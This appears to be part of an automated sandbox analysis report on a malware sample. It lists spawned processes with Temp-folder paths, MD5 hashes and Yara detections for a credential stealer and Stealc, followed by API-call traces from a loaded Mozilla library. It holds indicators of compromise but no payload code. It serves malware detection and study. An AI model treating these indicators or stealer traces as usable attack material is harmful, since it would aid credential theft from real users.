Start time:	13:53:14
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2988 --field-trial-handle=2076,i,5968905137283756732,12874145520682871177,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:53:16
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'202'560 bytes
MD5 hash:	AAB4852D22A50164C2F6402A82A446BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:53:20
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"
Imagebase:	0x7b0000
File size:	2'825'728 bytes
MD5 hash:	D7E735E3F0A7FE8EBA17313DE3B48AA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:53:20
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Imagebase:	0xd60000
File size:	3'179'008 bytes
MD5 hash:	0EB8E45168C931C4451682C65DDE3A7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.3289202367.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:53:28
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Imagebase:	0xcb0000
File size:	1'810'944 bytes
MD5 hash:	7F588FE16CE0B9AE1671CD6DB5CE4380
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2987474200.0000000005650000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3037729886.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:53:37
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"
Imagebase:	0x7b0000
File size:	2'825'728 bytes
MD5 hash:	D7E735E3F0A7FE8EBA17313DE3B48AA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:53:45
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Imagebase:	0xd60000
File size:	3'179'008 bytes
MD5 hash:	0EB8E45168C931C4451682C65DDE3A7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	13:53:53
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Imagebase:	0xcb0000
File size:	1'810'944 bytes
MD5 hash:	7F588FE16CE0B9AE1671CD6DB5CE4380
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.3232047766.0000000005360000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.3272499902.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GenuntelineI, xrefs: 6C653639
QPC, xrefs: 6C6538FC
GTC, xrefs: 6C653912
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
[I %d/%d] profiler_init, xrefs: 6C66564E
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

(, xrefs: 6C66768A
SHA256, xrefs: 6C666EC0
wintrust.dll, xrefs: 6C6672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

